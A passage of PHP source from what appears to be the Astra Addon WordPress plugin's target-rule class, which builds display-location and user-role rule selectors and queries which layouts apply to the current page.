1.5.0 */ return apply_filters( 'astra_addon_user_roles_list', $selection_options ); } /** * Get location label by key. * * @param string $key Location option key. * @return string */ public static function get_location_by_key( $key ) { if ( ! isset( self::$location_selection ) || empty( self::$location_selection ) ) { self::$location_selection = self::get_location_selections(); } $location_selection = self::$location_selection; foreach ( $location_selection as $location_grp ) { if ( isset( $location_grp['value'][ $key ] ) ) { return $location_grp['value'][ $key ]; } } if ( strpos( $key, 'post-' ) !== false ) { $post_id = (int) str_replace( 'post-', '', $key ); return get_the_title( $post_id ); } // taxonomy options. if ( strpos( $key, 'tax-' ) !== false ) { $tax_id = (int) str_replace( 'tax-', '', $key ); $term = get_term( $tax_id ); if ( ! is_wp_error( $term ) ) { $term_taxonomy = ucfirst( str_replace( '_', ' ', $term->taxonomy ) ); return $term->name . ' - ' . $term_taxonomy; } else { return ''; } } return $key; } /** * Get user label by key. * * @param string $key User option key. * @return string */ public static function get_user_by_key( $key ) { if ( ! isset( self::$user_selection ) || empty( self::$user_selection ) ) { self::$user_selection = self::get_user_selections(); } $user_selection = self::$user_selection; if ( isset( $user_selection['basic']['value'][ $key ] ) ) { return $user_selection['basic']['value'][ $key ]; } elseif ( $user_selection['advanced']['value'][ $key ] ) { return $user_selection['advanced']['value'][ $key ]; } return $key; } /** * Ajax handeler to return the posts based on the search query. * When searching for the post/pages only titles are searched for. * * @since 1.0.0 */ public function astra_get_posts_by_query() { check_ajax_referer( 'astra-addon-get-posts-by-query', 'nonce' ); $search_string = isset( $_POST['q'] ) ? sanitize_text_field( $_POST['q'] ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing $data = array(); $result = array(); $args = array( 'public' => true, '_builtin' => false, ); $output = 'names'; // names or objects, note names is the default. $operator = 'and'; // also supports 'or'. $post_types = get_post_types( $args, $output, $operator ); $post_types['Posts'] = 'post'; $post_types['Pages'] = 'page'; foreach ( $post_types as $key => $post_type ) { $data = array(); add_filter( 'posts_search', array( $this, 'search_only_titles' ), 10, 2 ); $query = new WP_Query( array( 's' => $search_string, 'post_type' => $post_type, 'posts_per_page' => - 1, ) ); if ( $query->have_posts() ) { while ( $query->have_posts() ) { $query->the_post(); $title = get_the_title(); $title .= ( 0 != $query->post->post_parent ) ? ' (' . get_the_title( $query->post->post_parent ) . ')' : ''; $id = get_the_id(); $data[] = array( 'id' => 'post-' . $id, 'text' => $title, ); } } if ( is_array( $data ) && ! empty( $data ) ) { $result[] = array( 'text' => $key, 'children' => $data, ); } } $data = array(); wp_reset_postdata(); $args = array( 'public' => true, ); $output = 'objects'; // names or objects, note names is the default. $operator = 'and'; // also supports 'or'. $taxonomies = get_taxonomies( $args, $output, $operator ); foreach ( $taxonomies as $taxonomy ) { $terms = get_terms( $taxonomy->name, array( 'orderby' => 'count', 'hide_empty' => 0, 'name__like' => $search_string, ) ); $data = array(); $label = ucwords( $taxonomy->label ); if ( ! empty( $terms ) ) { foreach ( $terms as $term ) { $term_taxonomy_name = ucfirst( str_replace( '_', ' ', $taxonomy->name ) ); $data[] = array( 'id' => 'tax-' . $term->term_id, 'text' => $term->name . ' archive page', ); $data[] = array( 'id' => 'tax-' . $term->term_id . '-single-' . $taxonomy->name, 'text' => 'All singulars from ' . $term->name, ); } } if ( is_array( $data ) && ! empty( $data ) ) { $result[] = array( 'text' => $label, 'children' => $data, ); } } // return the result in json. wp_send_json( $result ); } /** * Return search results only by post title. * This is only run from astra_get_posts_by_query() * * @param (string) $search Search SQL for WHERE clause. * @param (WP_Query) $wp_query The current WP_Query object. * * @return (string) The Modified Search SQL for WHERE clause. */ public function search_only_titles( $search, $wp_query ) { if ( ! empty( $search ) && ! empty( $wp_query->query_vars['search_terms'] ) ) { global $wpdb; $q = $wp_query->query_vars; $n = ! empty( $q['exact'] ) ? '' : '%'; $search = array(); foreach ( (array) $q['search_terms'] as $term ) { $search[] = $wpdb->prepare( "$wpdb->posts.post_title LIKE %s", $n . $wpdb->esc_like( $term ) . $n ); } if ( ! is_user_logged_in() ) { $search[] = "$wpdb->posts.post_password = ''"; } $search = ' AND ' . implode( ' AND ', $search ); } return $search; } /** * Function Name: admin_styles. * Function Description: admin_styles. */ public function admin_styles() { wp_enqueue_script( 'astra-select2', ASTRA_EXT_URI . 'classes/modules/target-rule/select2.js', array( 'jquery' ), ASTRA_EXT_VER, true ); $wp_lang = get_locale(); $ast_lang = ''; if ( '' !== $wp_lang ) { $select2_lang = array( '' => 'en', 'hi_IN' => 'hi', 'mr' => 'mr', 'af' => 'af', 'ar' => 'ar', 'ary' => 'ar', 'as' => 'as', 'azb' => 'az', 'az' => 'az', 'bel' => 'be', 'bg_BG' => 'bg', 'bn_BD' => 'bn', 'bo' => 'bo', 'bs_BA' => 'bs', 'ca' => 'ca', 'ceb' => 'ceb', 'cs_CZ' => 'cs', 'cy' => 'cy', 'da_DK' => 'da', 'de_CH' => 'de', 'de_DE' => 'de', 'de_DE_formal' => 'de', 'de_CH_informal' => 'de', 'dzo' => 'dz', 'el' => 'el', 'en_CA' => 'en', 'en_GB' => 'en', 'en_AU' => 'en', 'en_NZ' => 'en', 'en_ZA' => 'en', 'eo' => 'eo', 'es_MX' => 'es', 'es_VE' => 'es', 'es_CR' => 'es', 'es_CO' => 'es', 'es_GT' => 'es', 'es_ES' => 'es', 'es_CL' => 'es', 'es_PE' => 'es', 'es_AR' => 'es', 'et' => 'et', 'eu' => 'eu', 'fa_IR' => 'fa', 'fi' => 'fi', 'fr_BE' => 'fr', 'fr_FR' => 'fr', 'fr_CA' => 'fr', 'gd' => 'gd', 'gl_ES' => 'gl', 'gu' => 'gu', 'haz' => 'haz', 'he_IL' => 'he', 'hr' => 'hr', 'hu_HU' => 'hu', 'hy' => 'hy', 'id_ID' => 'id', 'is_IS' => 'is', 'it_IT' => 'it', 'ja' => 'ja', 'jv_ID' => 'jv', 'ka_GE' => 'ka', 'kab' => 'kab', 'km' => 'km', 'ko_KR' => 'ko', 'ckb' => 'ku', 'lo' => 'lo', 'lt_LT' => 'lt', 'lv' => 'lv', 'mk_MK' => 'mk', 'ml_IN' => 'ml', 'mn' => 'mn', 'ms_MY' => 'ms', 'my_MM' => 'my', 'nb_NO' => 'nb', 'ne_NP' => 'ne', 'nl_NL' => 'nl', 'nl_NL_formal' => 'nl', 'nl_BE' => 'nl', 'nn_NO' => 'nn', 'oci' => 'oc', 'pa_IN' => 'pa', 'pl_PL' => 'pl', 'ps' => 'ps', 'pt_BR' => 'pt', 'pt_PT_ao90' => 'pt', 'pt_PT' => 'pt', 'rhg' => 'rhg', 'ro_RO' => 'ro', 'ru_RU' => 'ru', 'sah' => 'sah', 'si_LK' => 'si', 'sk_SK' => 'sk', 'sl_SI' => 'sl', 'sq' => 'sq', 'sr_RS' => 'sr', 'sv_SE' => 'sv', 'szl' => 'szl', 'ta_IN' => 'ta', 'te' => 'te', 'th' => 'th', 'tl' => 'tl', 'tr_TR' => 'tr', 'tt_RU' => 'tt', 'tah' => 'ty', 'ug_CN' => 'ug', 'uk' => 'uk', 'ur' => 'ur', 'uz_UZ' => 'uz', 'vi' => 'vi', 'zh_CN' => 'zh', 'zh_TW' => 'zh', 'zh_HK' => 'zh', ); if ( isset( $select2_lang[ $wp_lang ] ) && file_exists( ASTRA_EXT_DIR . 'classes/modules/target-rule/i18n/' . $select2_lang[ $wp_lang ] . '.js' ) ) { $ast_lang = $select2_lang[ $wp_lang ]; wp_enqueue_script( 'astra-select2-lang', ASTRA_EXT_URI . 'classes/modules/target-rule/i18n/' . $select2_lang[ $wp_lang ] . '.js', array( 'jquery', 'astra-select2', ), ASTRA_EXT_VER, true ); } } wp_enqueue_script( 'astra-target-rule', ASTRA_EXT_URI . 'classes/modules/target-rule/target-rule.js', array( 'jquery', 'astra-select2', ), ASTRA_EXT_VER, true ); wp_enqueue_script( 'astra-user-role', ASTRA_EXT_URI . 'classes/modules/target-rule/user-role.js', array( 'jquery', ), ASTRA_EXT_VER, true ); wp_enqueue_style( 'astra-select2', ASTRA_EXT_URI . 'classes/modules/target-rule/select2.css', '', ASTRA_EXT_VER ); wp_enqueue_style( 'astra-target-rule', ASTRA_EXT_URI . 'classes/modules/target-rule/target-rule.css', '', ASTRA_EXT_VER ); /** * Registered localize vars */ $localize_vars = array( 'ast_lang' => $ast_lang, 'please_enter' => __( 'Please enter', 'astra-addon' ), 'please_delete' => __( 'Please delete', 'astra-addon' ), 'more_char' => __( 'or more characters', 'astra-addon' ), 'character' => __( 'character', 'astra-addon' ), 'loading' => __( 'Loading more results…', 'astra-addon' ), 'only_select' => __( 'You can only select', 'astra-addon' ), 'item' => __( 'item', 'astra-addon' ), 'char_s' => __( 's', 'astra-addon' ), 'no_result' => __( 'No results found', 'astra-addon' ), 'searching' => __( 'Searching…', 'astra-addon' ), 'not_loader' => __( 'The results could not be loaded.', 'astra-addon' ), 'search' => __( 'Search pages / post / categories', 'astra-addon' ), 'ajax_nonce' => wp_create_nonce( 'astra-addon-get-posts-by-query' ), ); wp_localize_script( 'astra-select2', 'astRules', $localize_vars ); } /** * Function Name: target_rule_settings_field. * Function Description: Function to handle new input type. * * @param string $name string parameter. * @param string $settings string parameter. * @param string $value string parameter. */ public static function target_rule_settings_field( $name, $settings, $value ) { $input_name = $name; $type = isset( $settings['type'] ) ? $settings['type'] : 'target_rule'; $class = isset( $settings['class'] ) ? $settings['class'] : ''; $rule_type = isset( $settings['rule_type'] ) ? $settings['rule_type'] : 'target_rule'; $add_rule_label = isset( $settings['add_rule_label'] ) ? $settings['add_rule_label'] : __( 'Add Rule', 'astra-addon' ); $saved_values = $value; $output = ''; if ( isset( self::$location_selection ) || empty( self::$location_selection ) ) { self::$location_selection = self::get_location_selections(); } $selection_options = self::$location_selection; /* WP Template Format */ $output .= '<script type="text/html" id="tmpl-astra-target-rule-' . $rule_type . '-condition">'; $output .= '<div class="astra-target-rule-condition ast-target-rule-{{data.id}}" data-rule="{{data.id}}" >'; $output .= '<span class="target_rule-condition-delete dashicons dashicons-dismiss"></span>'; /* Condition Selection */ $output .= '<div class="target_rule-condition-wrap" >'; $output .= '<select name="' . esc_attr( $input_name ) . '[rule][{{data.id}}]" class="target_rule-condition form-control ast-input">'; $output .= '<option value="">' . __( 'Select', 'astra-addon' ) . '</option>'; foreach ( $selection_options as $group => $group_data ) { $output .= '<optgroup label="' . $group_data['label'] . '">'; foreach ( $group_data['value'] as $opt_key => $opt_value ) { $output .= '<option value="' . $opt_key . '">' . $opt_value . '</option>'; } $output .= '</optgroup>'; } $output .= '</select>'; $output .= '</div>'; $output .= '</div> <!-- astra-target-rule-condition -->'; /* Specific page selection */ $output .= '<div class="target_rule-specific-page-wrap" style="display:none">'; $output .= '<select name="' . esc_attr( $input_name ) . '[specific][]" class="target-rule-select2 target_rule-specific-page form-control ast-input " multiple="multiple">'; $output .= '</select>'; $output .= '</div>'; $output .= '</script>'; /* Wrapper Start */ $output .= '<div class="ast-target-rule-wrapper ast-target-rule-' . $rule_type . '-on-wrap" data-type="' . $rule_type . '">'; $output .= '<div class="ast-target-rule-selector-wrapper ast-target-rule-' . $rule_type . '-on">'; $output .= self::generate_target_rule_selector( $rule_type, $selection_options, $input_name, $saved_values, $add_rule_label ); $output .= '</div>'; /* Wrapper end */ $output .= '</div>'; echo wp_kses( $output, array( 'select' => array( 'class' => array(), 'name' => array(), 'multiple' => array(), ), 'script' => array( 'type' => array(), 'id' => array(), ), 'span' => array( 'class' => array(), ), 'a' => array( 'href' => array(), 'class' => array(), 'data-rule-id' => array(), 'data-rule-type' => array(), ), 'option' => array( 'class' => array(), 'value' => array(), 'selected' => array(), ), 'optgroup' => array( 'class' => array(), 'label' => array(), ), 'div' => array( 'class' => array(), 'style' => array(), 'data-type' => array(), 'data-rule' => array(), ), ) ); } /** * Get target rules for generating the markup for rule selector. * * @since 1.0.0 * * @param object $post_type post type parameter. * @param object $taxonomy taxonomy for creating the target rule markup. */ public static function get_post_target_rule_options( $post_type, $taxonomy ) { $post_key = str_replace( ' ', '-', strtolower( $post_type->label ) ); $post_label = ucwords( $post_type->label ); $post_name = $post_type->name; $post_option = array(); /* translators: %s post label */ $all_posts = sprintf( __( 'All %s', 'astra-addon' ), $post_label ); $post_option[ $post_name . '|all' ] = $all_posts; if ( 'pages' != $post_key ) { /* translators: %s post label */ $all_archive = sprintf( __( 'All %s Archive', 'astra-addon' ), $post_label ); $post_option[ $post_name . '|all|archive' ] = $all_archive; } if ( in_array( $post_type->name, $taxonomy->object_type ) ) { $tax_label = ucwords( $taxonomy->label ); $tax_name = $taxonomy->name; /* translators: %s taxonomy label */ $tax_archive = sprintf( __( 'All %s Archive', 'astra-addon' ), $tax_label ); $post_option[ $post_name . '|all|taxarchive|' . $tax_name ] = $tax_archive; } $post_output['post_key'] = $post_key; $post_output['label'] = $post_label; $post_output['value'] = $post_option; return $post_output; } /** * Generate markup for rendering the location selction. * * @since 1.0.0 * @param String $type Rule type display|exclude. * @param Array $selection_options Array for available selection fields. * @param String $input_name Input name for the settings. * @param Array $saved_values Array of saved valued. * @param String $add_rule_label Label for the Add rule button. * * @return HTML Markup for for the location settings. */ public static function generate_target_rule_selector( $type, $selection_options, $input_name, $saved_values, $add_rule_label ) { $output = '<div class="target_rule-builder-wrap">'; if ( ! is_array( $saved_values ) || ( is_array( $saved_values ) && empty( $saved_values ) ) ) { $saved_values = array(); $saved_values['rule'][0] = ''; $saved_values['specific'][0] = ''; } $index = 0; foreach ( $saved_values['rule'] as $index => $data ) { $output .= '<div class="astra-target-rule-condition ast-target-rule-' . $index . '" data-rule="' . $index . '" >'; /* Condition Selection */ $output .= '<span class="target_rule-condition-delete dashicons dashicons-dismiss"></span>'; $output .= '<div class="target_rule-condition-wrap" >'; $output .= '<select name="' . esc_attr( $input_name ) . '[rule][' . $index . ']" class="target_rule-condition form-control ast-input">'; $output .= '<option value="">' . __( 'Select', 'astra-addon' ) . '</option>'; foreach ( $selection_options as $group => $group_data ) { $output .= '<optgroup label="' . $group_data['label'] . '">'; foreach ( $group_data['value'] as $opt_key => $opt_value ) { // specific rules. $selected = ''; if ( $data == $opt_key ) { $selected = 'selected="selected"'; } $output .= '<option value="' . $opt_key . '" ' . $selected . '>' . $opt_value . '</option>'; } $output .= '</optgroup>'; } $output .= '</select>'; $output .= '</div>'; $output .= '</div>'; /* Specific page selection */ $output .= '<div class="target_rule-specific-page-wrap" style="display:none">'; $output .= '<select name="' . esc_attr( $input_name ) . '[specific][]" class="target-rule-select2 target_rule-specific-page form-control ast-input " multiple="multiple">'; if ( 'specifics' == $data && isset( $saved_values['specific'] ) && null != $saved_values['specific'] && is_array( $saved_values['specific'] ) ) { foreach ( $saved_values['specific'] as $data_key => $sel_value ) { // posts. if ( strpos( $sel_value, 'post-' ) !== false ) { $post_id = (int) str_replace( 'post-', '', $sel_value ); $post_title = get_the_title( $post_id ); $output .= '<option value="post-' . $post_id . '" selected="selected" >' . $post_title . '</option>'; } // taxonomy options. if ( strpos( $sel_value, 'tax-' ) !== false ) { $tax_data = explode( '-', $sel_value ); $tax_id = (int) str_replace( 'tax-', '', $sel_value ); $term = get_term( $tax_id ); $term_name = ''; if ( ! is_wp_error( $term ) ) { $term_taxonomy = ucfirst( str_replace( '_', ' ', $term->taxonomy ) ); if ( isset( $tax_data[2] ) && 'single' === $tax_data[2] ) { $term_name = 'All singulars from ' . $term->name; } else { $term_name = $term->name . ' - ' . $term_taxonomy; } } $output .= '<option value="' . $sel_value . '" selected="selected" >' . $term_name . '</option>'; } } } $output .= '</select>'; $output .= '</div>'; } $output .= '</div>'; /* Add new rule */ $output .= '<div class="target_rule-add-rule-wrap">'; $output .= '<a href="#" class="button" data-rule-id="' . absint( $index ) . '" data-rule-type="' . $type . '">' . $add_rule_label . '</a>'; $output .= '</div>'; if ( 'display' == $type ) { /* Add new rule */ $output .= '<div class="target_rule-add-exclusion-rule">'; $output .= '<a href="#" class="button">' . __( 'Add Exclusion Rule', 'astra-addon' ) . '</a>'; $output .= '</div>'; } return $output; } /** * Get current layout. * Checks of the passed post id of the layout is to be displayed in the page. * * @param int $layout_id Layout ID. * @param string $option Option prefix. * * @return int|boolean If the current layout is to be displayed it will be returned back else a boolean will be passed. */ public function get_current_layout( $layout_id, $option ) { $post_id = ( ! is_404() && ! is_search() && ! is_archive() && ! is_home() ) ? get_the_id() : false; $current_layout = false; $is_exclude = false; $is_user_role = false; $display_on = get_post_meta( $layout_id, $option . '-location', true ); $exclude_on = get_post_meta( $layout_id, $option . '-exclusion', true ); $user_roles = get_post_meta( $layout_id, $option . '-users', true ); /* Parse Display On Condition */ $is_display = $this->parse_layout_display_condition( $post_id, $display_on ); if ( true == $is_display ) { /* Parse Exclude On Condition */ $is_exclude = $this->parse_layout_display_condition( $post_id, $exclude_on ); /* Parse User Role Condition */ $is_user_role = $this->parse_user_role_condition( $post_id, $user_roles ); } if ( $is_display && ! $is_exclude && $is_user_role ) { $current_layout = $layout_id; } // filter target page settings. $current_layout = apply_filters( 'astra_addon_target_page_settings', $current_layout, $layout_id ); return $current_layout; } /** * Checks for the display condition for the current page/ * * @param int $post_id Current post ID. * @param array $rules Array of rules Display on | Exclude on. * * @return boolean Returns true or false depending on if the $rules match for the current page and the layout is to be displayed. */ public function parse_layout_display_condition( $post_id, $rules ) { $display = false; $current_post_type = get_post_type( $post_id ); if ( isset( $rules['rule'] ) && is_array( $rules['rule'] ) && ! empty( $rules['rule'] ) ) { foreach ( $rules['rule'] as $key => $rule ) { if ( ! empty( $rule ) ) { if ( strrpos( $rule, 'all' ) !== false ) { $rule_case = 'all'; } else { $rule_case = $rule; } switch ( $rule_case ) { case 'basic-global': $display = true; break; case 'basic-singulars': if ( is_singular() ) { $display = true; } break; case 'basic-archives': if ( is_archive() ) { $display = true; } break; case 'special-404': if ( is_404() ) { $display = true; } break; case 'special-search': if ( is_search() ) { $display = true; } break; case 'special-blog': if ( is_home() ) { $display = true; } break; case 'special-front': if ( is_front_page() ) { $display = true; } break; case 'special-date': if ( is_date() ) { $display = true; } break; case 'special-author': if ( is_author() ) { $display = true; } break; case 'special-woo-shop': if ( function_exists( 'is_shop' ) && is_shop() ) { $display = true; } break; case 'all': $rule_data = explode( '|', $rule ); $post_type = isset( $rule_data[0] ) ? $rule_data[0] : false; $archieve_type = isset( $rule_data[2] ) ? $rule_data[2] : false; $taxonomy = isset( $rule_data[3] ) ? $rule_data[3] : false; if ( false === $archieve_type ) { $current_post_type = get_post_type( $post_id ); if ( false !== $post_id && $current_post_type == $post_type ) { $display = true; } } else { if ( is_archive() ) { $current_post_type = get_post_type(); if ( $current_post_type == $post_type ) { if ( 'archive' == $archieve_type ) { $display = true; } elseif ( 'taxarchive' == $archieve_type ) { $obj = get_queried_object(); $current_taxonomy = ''; if ( '' !== $obj && null !== $obj ) { $current_taxonomy = $obj->taxonomy; } if ( $current_taxonomy == $taxonomy ) { $display = true; } } } } } break; case 'specifics': if ( isset( $rules['specific'] ) && is_array( $rules['specific'] ) ) { foreach ( $rules['specific'] as $specific_page ) { $specific_data = explode( '-', $specific_page ); $specific_post_type = isset( $specific_data[0] ) ? $specific_data[0] : false; $specific_post_id = isset( $specific_data[1] ) ? $specific_data[1] : false; if ( 'post' == $specific_post_type ) { if ( $specific_post_id == $post_id ) { $display = true; } } elseif ( isset( $specific_data[2] ) && ( 'single' == $specific_data[2] ) && 'tax' == $specific_post_type ) { if ( is_singular() ) { $term_details = get_term( $specific_post_id ); if ( isset( $term_details->taxonomy ) ) { $has_term = has_term( (int) $specific_post_id, $term_details->taxonomy, $post_id ); if ( $has_term ) { $display = true; } } } } elseif ( 'tax' == $specific_post_type ) { $tax_id = get_queried_object_id(); if ( $specific_post_id == $tax_id ) { $display = true; } } } } break; default: break; } } if ( $display ) { break; } } } return $display; } /** * Function Name: target_user_role_settings_field. * Function Description: Function to handle new input type. * * @param string $name string parameter. * @param string $settings string parameter. * @param string $value string parameter. */ public static function target_user_role_settings_field( $name, $settings, $value ) { $input_name = $name; $type = isset( $settings['type'] ) ? $settings['type'] : 'target_rule'; $class = isset( $settings['class'] ) ? $settings['class'] : ''; $rule_type = isset( $settings['rule_type'] ) ? $settings['rule_type'] : 'target_rule'; $add_rule_label = isset( $settings['add_rule_label'] ) ? $settings['add_rule_label'] : __( 'Add Rule', 'astra-addon' ); $saved_values = $value; $output = ''; if ( ! isset( self::$user_selection ) || empty( self::$user_selection ) ) { self::$user_selection = self::get_user_selections(); } $selection_options = self::$user_selection; /* WP Template Format */ $output .= '<script type="text/html" id="tmpl-astra-user-role-condition">'; $output .= '<div class="astra-user-role-condition ast-user-role-{{data.id}}" data-rule="{{data.id}}" >'; $output .= '<span class="user_role-condition-delete dashicons dashicons-dismiss"></span>'; /* Condition Selection */ $output .= '<div class="user_role-condition-wrap" >'; $output .= '<select name="' . esc_attr( $input_name ) . '[{{data.id}}]" class="user_role-condition form-control ast-input">'; $output .= '<option value="">' . __( 'Select', 'astra-addon' ) . '</option>'; foreach ( $selection_options as $group => $group_data ) { $output .= '<optgroup label="' . $group_data['label'] . '">'; foreach ( $group_data['value'] as $opt_key => $opt_value ) { $output .= '<option value="' . $opt_key . '">' . $opt_value . '</option>'; } $output .= '</optgroup>'; } $output .= '</select>'; $output .= '</div>'; $output .= '</div> <!-- astra-user-role-condition -->'; $output .= '</script>'; if ( ! is_array( $saved_values ) || ( is_array( $saved_values ) && empty( $saved_values ) ) ) { $saved_values = array(); $saved_values[0] = ''; } $index = 0; $output .= '<div class="ast-user-role-wrapper ast-user-role-display-on-wrap" data-type="display">'; $output .= '<div class="ast-user-role-selector-wrapper ast-user-role-display-on">'; $output .= '<div class="user_role-builder-wrap">'; foreach ( $saved_values as $index => $data ) { $output .= '<div class="astra-user-role-condition ast-user-role-' . $index . '" data-rule="' . $index . '" >'; $output .= '<span class="user_role-condition-delete dashicons dashicons-dismiss"></span>'; /* Condition Selection */ $output .= '<div class="user_role-condition-wrap" >'; $output .= '<select name="' . esc_attr( $input_name ) . '[' . $index . ']" class="user_role-condition form-control ast-input">'; $output .= '<option value="">' . __( 'Select', 'astra-addon' ) . '</option>'; foreach ( $selection_options as $group => $group_data ) { $output .= '<optgroup label="' . $group_data['label'] . '">'; foreach ( $group_data['value'] as $opt_key => $opt_value ) { $output .= '<option value="' . $opt_key . '" ' . selected( $data, $opt_key, false ) . '>' . $opt_value . '</option>'; } $output .= '</optgroup>'; } $output .= '</select>'; $output .= '</div>'; $output .= '</div> <!-- astra-user-role-condition -->'; } $output .= '</div>'; /* Add new rule */ $output .= '<div class="user_role-add-rule-wrap">'; $output .= '<a href="#" class="button" data-rule-id="' . absint( $index ) . '">' . $add_rule_label . '</a>'; $output .= '</div>'; $output .= '</div>'; $output .= '</div>'; echo wp_kses( $output, array( 'select' => array( 'class' => array(), 'name' => array(), 'multiple' => array(), ), 'script' => array( 'type' => array(), 'id' => array(), ), 'span' => array( 'class' => array(), ), 'a' => array( 'href' => array(), 'class' => array(), 'data-rule-id' => array(), 'data-rule-type' => array(), ), 'option' => array( 'class' => array(), 'value' => array(), 'selected' => array(), ), 'optgroup' => array( 'class' => array(), 'label' => array(), ), 'div' => array( 'class' => array(), 'style' => array(), 'data-type' => array(), 'data-rule' => array(), ), ) ); } /** * Parse user role condition. * * @since 1.0.0 * @param int $post_id Post ID. * @param Array $rules Current user rules. * * @return boolean True = user condition passes. False = User condition does not pass. */ public function parse_user_role_condition( $post_id, $rules ) { $show_popup = true; if ( is_array( $rules ) && ! empty( $rules ) ) { $show_popup = false; foreach ( $rules as $i => $rule ) { switch ( $rule ) { case '': case 'all': $show_popup = true; break; case 'logged-in': if ( is_user_logged_in() ) { $show_popup = true; } break; case 'logged-out': if ( ! is_user_logged_in() ) { $show_popup = true; } break; default: if ( is_user_logged_in() ) { $current_user = wp_get_current_user(); if ( isset( $current_user->roles ) && is_array( $current_user->roles ) && in_array( $rule, $current_user->roles ) ) { $show_popup = true; } } break; } if ( $show_popup ) { break; } } } return $show_popup; } /** * Get current page type * * @since 1.0.0 * * @return string Page Type. */ public function get_current_page_type() { if ( null === self::$current_page_type ) { $page_type = ''; $current_id = false; if ( is_404() ) { $page_type = 'is_404'; } elseif ( is_search() ) { $page_type = 'is_search'; } elseif ( is_archive() ) { $page_type = 'is_archive'; if ( is_category() || is_tag() || is_tax() ) { $page_type = 'is_tax'; } elseif ( is_date() ) { $page_type = 'is_date'; } elseif ( is_author() ) { $page_type = 'is_author'; } elseif ( function_exists( 'is_shop' ) && is_shop() ) { $page_type = 'is_woo_shop_page'; } } elseif ( is_home() ) { $page_type = 'is_home'; } elseif ( is_front_page() ) { $page_type = 'is_front_page'; $current_id = get_the_id(); } elseif ( is_singular() ) { $page_type = 'is_singular'; $current_id = get_the_id(); } else { $current_id = get_the_id(); } self::$current_page_data['ID'] = $current_id; self::$current_page_type = $page_type; } return self::$current_page_type; } /** * Get posts by conditions * * @since 1.0.0 * @param string $post_type Post Type. * @param array $option meta option name. * * @return object Posts. */ public function get_posts_by_conditions( $post_type, $option ) { global $wpdb; global $post; $post_type = $post_type ? esc_sql( $post_type ) : esc_sql( $post->post_type ); if ( is_array( self::$current_page_data ) && isset( self::$current_page_data[ $post_type ] ) ) { return apply_filters( 'astra_addon_get_display_posts_by_conditions', self::$current_page_data[ $post_type ], $post_type ); } $current_page_type = $this->get_current_page_type(); self::$current_page_data[ $post_type ] = array(); $option['current_post_id'] = self::$current_page_data['ID']; $meta_header = self::get_meta_option_post( $post_type, $option ); /* Meta option is enabled */ if ( false === $meta_header ) { $current_post_type = esc_sql( get_post_type() ); $current_post_id = false; $q_obj = get_queried_object(); $location = isset( $option['location'] ) ? esc_sql( $option['location'] ) : ''; $wpml_translate_query = ''; $wpml_translate_query_condition = ''; $check_wpml = false; if ( class_exists( 'SitePress' ) ) { global $sitepress; $cpt_translation_mode = apply_filters( 'wpml_sub_setting', false, 'custom_posts_sync_option', 'astra-advanced-hook' ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound if ( false != $cpt_translation_mode ) { $check_wpml = true; $current_language = $sitepress->get_current_language(); $wpml_translate_query = "INNER JOIN {$wpdb->prefix}icl_translations as icl ON pm.post_id = icl.element_id"; $wpml_translate_query_condition = "AND icl.language_code = '{$current_language}'"; } } /* Entire Website */ $meta_args = "pm.meta_value LIKE '%\"basic-global\"%'"; $meta_args = apply_filters( 'astra_addon_meta_args_post_by_condition', $meta_args, $q_obj, $current_post_id ); switch ( $current_page_type ) { case 'is_404': $meta_args .= " OR pm.meta_value LIKE '%\"special-404\"%'"; break; case 'is_search': $meta_args .= " OR pm.meta_value LIKE '%\"special-search\"%'"; break; case 'is_archive': case 'is_tax': case 'is_date': case 'is_author': $meta_args .= " OR pm.meta_value LIKE '%\"basic-archives\"%'"; $meta_args .= " OR pm.meta_value LIKE '%\"{$current_post_type}|all|archive\"%'"; if ( 'is_tax' == $current_page_type && ( is_category() || is_tag() || is_tax() ) ) { if ( is_object( $q_obj ) ) { $meta_args .= " OR pm.meta_value LIKE '%\"{$current_post_type}|all|taxarchive|{$q_obj->taxonomy}\"%'"; $meta_args .= " OR pm.meta_value LIKE '%\"tax-{$q_obj->term_id}\"%'"; } } elseif ( 'is_date' == $current_page_type ) { $meta_args .= " OR pm.meta_value LIKE '%\"special-date\"%'"; } elseif ( 'is_author' == $current_page_type ) { $meta_args .= " OR pm.meta_value LIKE '%\"special-author\"%'"; } break; case 'is_home': $meta_args .= " OR pm.meta_value LIKE '%\"special-blog\"%'"; break; case 'is_front_page': $current_id = esc_sql( get_the_id() ); $current_post_id = $current_id; $meta_args .= " OR pm.meta_value LIKE '%\"special-front\"%'"; $meta_args .= " OR pm.meta_value LIKE '%\"{$current_post_type}|all\"%'"; $meta_args .= " OR pm.meta_value LIKE '%\"post-{$current_id}\"%'"; break; case 'is_singular': $current_id = esc_sql( get_the_id() ); if ( $check_wpml ) { $current_id = icl_object_id( $current_id, $current_post_type, true, $current_language ); } $current_post_id = $current_id; $meta_args .= " OR pm.meta_value LIKE '%\"basic-singulars\"%'"; $meta_args .= " OR pm.meta_value LIKE '%\"{$current_post_type}|all\"%'"; $meta_args .= " OR pm.meta_value LIKE '%\"post-{$current_id}\"%'"; if ( is_object( $q_obj ) ) { $taxonomies = get_object_taxonomies( $q_obj->post_type ); $terms = wp_get_post_terms( $q_obj->ID, $taxonomies ); foreach ( $terms as $key => $term ) { $meta_args .= " OR pm.meta_value LIKE '%\"tax-{$term->term_id}-single-{$term->taxonomy}\"%'"; } } break; case 'is_woo_shop_page': $meta_args .= " OR pm.meta_value LIKE '%\"special-woo-shop\"%'"; break; case '': $current_post_id = get_the_id(); break; } $wpdb->ast_meta_args = $meta_args; $wpdb->ast_wpml_translate_query = $wpml_translate_query; $wpdb->ast_wpml_translate_query_condition = $wpml_translate_query_condition; $posts = $wpdb->get_results( $wpdb->prepare( "SELECT p.ID, pm.meta_value FROM {$wpdb->postmeta} as pm INNER JOIN {$wpdb->posts} as p ON pm.post_id = p.ID {$wpdb->ast_wpml_translate_query} WHERE pm.meta_key = ('%1s') AND p.post_type = ('%2s') {$wpdb->ast_wpml_translate_query_condition} AND p.post_status = 'publish' AND ({$wpdb->ast_meta_args}) ORDER BY p.post_date DESC", $location, $post_type ) ); foreach ( $posts as $local_post ) { self::$current_page_data[ $post_type ][ $local_post->ID ] = array( 'id' => $local_post->ID, 'location' => maybe_unserialize( $local_post->meta_value ), ); } $option['current_post_id'] = $current_post_id; $this->remove_exclusion_rule_posts( $post_type, $option ); $this->remove_user_rule_posts( $post_type, $option ); } return apply_filters( 'astra_addon_get_display_posts_by_conditions', self::$current_page_data[ $post_type ], $post_type ); } /** * Remove exclusion rule posts. * * @since 1.0.0 * 